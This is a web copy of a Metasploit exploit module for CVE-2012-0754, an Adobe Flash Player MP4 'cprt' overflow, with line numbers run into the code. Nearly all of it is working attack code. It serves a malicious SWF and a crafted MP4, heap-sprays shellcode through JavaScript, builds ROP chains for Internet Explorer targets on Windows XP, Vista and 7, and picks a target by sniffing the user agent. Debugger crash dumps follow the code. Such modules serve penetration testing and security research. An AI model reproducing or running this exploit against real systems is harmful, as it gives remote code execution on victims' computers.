Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::RopDb10include Msf::Exploit::Remote::BrowserAutopwn11autopwn_info({12:os_name => OperatingSystems::Match::WINDOWS,13:method => "GetVariable",14:classid => "ShockwaveFlash.ShockwaveFlash",15:rank => NormalRanking, # reliable memory corruption16:javascript => true17})1819def initialize(info={})20super(update_info(info,21'Name' => "Adobe Flash Player MP4 'cprt' Overflow",22'Description' => %q{23This module exploits a vulnerability found in Adobe Flash24Player. By supplying a corrupt .mp4 file loaded by Flash, it25is possible to gain arbitrary remote code execution under the26context of the user.2728This vulnerability has been exploited in the wild as part of29the "Iran's Oil and Nuclear Situation.doc" e-mail attack.30According to the advisory, 10.3.183.15 and 11.x before3111.1.102.62 are affected.32},33'License' => MSF_LICENSE,34'Author' =>35[36'Alexander Gavrun', # Vulnerability discovery37'sinn3r', # Metasploit module38'juan vazquez' # Metasploit module39],40'References' =>41[42[ 'CVE', '2012-0754' ],43[ 'OSVDB', '79300'],44[ 'BID', '52034' ],45[ 'URL', 'http://contagiodump.blogspot.com/2012/03/mar-2-cve-2012-0754-irans-oil-and.html' ],46[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-03.html' ]47],48'Payload' =>49{50'Space' => 1000,51'BadChars' => "\x00",52'DisableNops' => true53},54'DefaultOptions' =>55{56'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'57},58'Platform' => 'win',59'Targets' =>60[61# Flash Player 11.1.102.5562# Flash Player 10.3.183.1063[ 'Automatic', {} ],64[65'IE 6 on Windows XP SP3',66{67'Rop' => nil,68'Offset' => '0x800 - code.length',69'Ret' => 0x0c0c0c0c70}71],72[73'IE 7 on Windows XP SP3',74{75'Rop' => nil,76'Offset' => '0x800 - code.length',77'Ret' => 0x0c0c0c0c78}79],80[81'IE 8 on Windows XP SP3 with msvcrt ROP',82{83'Rop' => :msvcrt,84'Offset' => '0x5f4',85'Ret' => 0x77c15ed5,86'ppr' => 0x77C1CAFB87}88],89[90'IE 8 on Windows XP SP3 with JRE ROP',91{92'Rop' => :jre,93'Offset' => '0x5f4',94'Ret' => 0x77c15ed5,95'ppr' => 0x77C1CAFB96}97],98[99'IE 7 on Windows Vista',100{101'Rop' => nil,102'Offset' => '0x5f4',103'Ret' => 0x0c0c0c0c104}105],106[107'IE 8 on Windows 7 SP1',108{109'Rop' => :jre,110'Offset' => '0x5f4',111'Ret' => 0x7c348b05,112'ppr' => 0x7c34272e113}114]115],116'Privileged' => false,117'DisclosureDate' => '2012-02-15',118'DefaultTarget' => 0))119end120121def junk(n=4)122return rand_text_alpha(n).unpack("V").first123end124125def get_payload(t, cli)126127if t['Rop'].nil?128code = ""129else130#Fix the stack to avoid anything busted131code = "\x81\xC4\x54\xF2\xFF\xFF"132end133code << payload.encoded134135# No rop. Just return the payload.136return code if t['Rop'].nil?137138rop_name = (t['Rop'] and t['Rop'] == :msvcrt) ? 'msvcrt' : 'java'139rop_target = (rop_name == 'msvcrt') ? 'xp' : ''140141pivot = [t['ppr']].pack('V*') #POP/POP/RET142pivot << [junk].pack('V*')143pivot << [t.ret].pack('V*')144145code = generate_rop_payload(rop_name, code, {'target'=>rop_target})146return code147end148149def get_target(agent)150#If the user is already specified by the user, we'll just use that151return target if target.name != 'Automatic'152153if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/154return targets[1] #IE 6 on Windows XP SP3155elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/156return targets[2] #IE 7 on Windows XP SP3157elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/158return targets[3] #IE 8 on Windows XP SP3159elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/160return targets[5] #IE 7 on Windows Vista161elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/162return targets[6] #IE 8 on Windows Vista SP1 with JRE163else164return nil165end166end167168def primer169# "/test.mp4" is currently hard-coded in the swf file, so we need to add to resource170hardcoded_uripath("/test.mp4")171end172173def exploit174@swf = create_swf175super176end177178def on_request_uri(cli, request)179180agent = request.headers['User-Agent']181my_target = get_target(agent)182183# Avoid the attack if the victim doesn't have the same setup we're targeting184if my_target.nil?185print_error("Browser not supported: #{agent}")186send_not_found(cli)187return188end189190print_status("Client requesting: #{request.uri}")191192# The SWF requests our MP4 trigger193if request.uri =~ /\.mp4$/194print_status("Sending MP4...")195mp4 = create_mp4(my_target)196send_response(cli, mp4, {'Content-Type'=>'video/mp4'})197return198end199200if request.uri =~ /\.swf$/201print_status("Sending Exploit SWF")202send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })203return204end205206p = get_payload(my_target, cli)207208js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))209js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))210randnop = rand_text_alpha(rand(100) + 1)211212js_pivot = <<-JS213var heap_obj = new heapLib.ie(0x20000);214var code = unescape("#{js_code}");215var #{randnop} = "#{js_nops}";216var nops = unescape(#{randnop});217218while (nops.length < 0x80000) nops += nops;219var offset = nops.substring(0, #{my_target['Offset']});220var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);221222while (shellcode.length < 0x40000) shellcode += shellcode;223var block = shellcode.substring(0, (0x80000-6)/2);224225heap_obj.gc();226heap_obj.debug(true);227for (var i=1; i < 0x1C2; i++) {228heap_obj.alloc(block);229}230heap_obj.debug(true);231JS232233js_pivot = heaplib(js_pivot, {:noobfu => true})234235swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource236swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf"237238html = %Q|239<html>240<head>241<script>242#{js_pivot}243</script>244</head>245<body>246<center>247<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"248id="test" width="1" height="1"249codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">250<param name="movie" value="#{swf_uri}" />251<embed src="#{swf_uri}" quality="high"252width="1" height="1" name="test" align="middle"253allowNetworking="all"254type="application/x-shockwave-flash"255pluginspage="http://www.macromedia.com/go/getflashplayer">256</embed>257258</object>259</center>260261</body>262</html>263|264265html = html.gsub(/^ {4}/, '')266267print_status("Sending html")268send_response(cli, html, {'Content-Type'=>'text/html'})269end270271def create_swf272path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2012-0754.swf" )273fd = ::File.open( path, "rb" )274swf = fd.read(fd.stat.size)275fd.close276277return swf278end279280def create_mp4(target)281mp4 = ""282mp4 << "\x00\x00\x00\x18"283mp4 << "ftypmp42"284mp4 << "\x00\x00\x00\x00"285mp4 << "mp42isom"286mp4 << "\x00\x00\x00\x0D"287mp4 << "cprt"288mp4 << "\x00\xFF\xFF\xFF"289mp4 << "\x00\x00\x00\x00"290mp4 << "\x0c\x0c\x0c\x0c" * 2586291292return mp4293end294end295296=begin297C:\WINDOWS\system32\Macromed\Flash\Flash11e.ocx298299(4b4.1d0): Access violation - code c0000005 (first chance)300First chance exceptions are reported before any exception handling.301This exception may be expected and handled.302eax=0c0c0c0c ebx=00000000 ecx=0308b1a0 edx=00000004 esi=0308b1a0 edi=00000001303eip=027a2626 esp=0377fec0 ebp=0377ff0c iopl=0 nv up ei pl zr na pe nc304cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246305*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash11e.ocx -306Flash11e+0x52626:307027a2626 ff5008 call dword ptr [eax+8] ds:0023:0c0c0c14=????????308309C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx310311(510.9b4): Access violation - code c0000005 (first chance)312First chance exceptions are reported before any exception handling.313This exception may be expected and handled.314eax=0c0c0c0c ebx=03e46810 ecx=0396b160 edx=00000004 esi=03e46cd4 edi=00000000315eip=10048b65 esp=0428fd10 ebp=0428feb4 iopl=0 nv up ei pl zr na pe nc316cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246317*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx -318Flash10x+0x48b65:31910048b65 ff5008 call dword ptr [eax+8] ds:0023:0c0c0c14=????????320=end321322323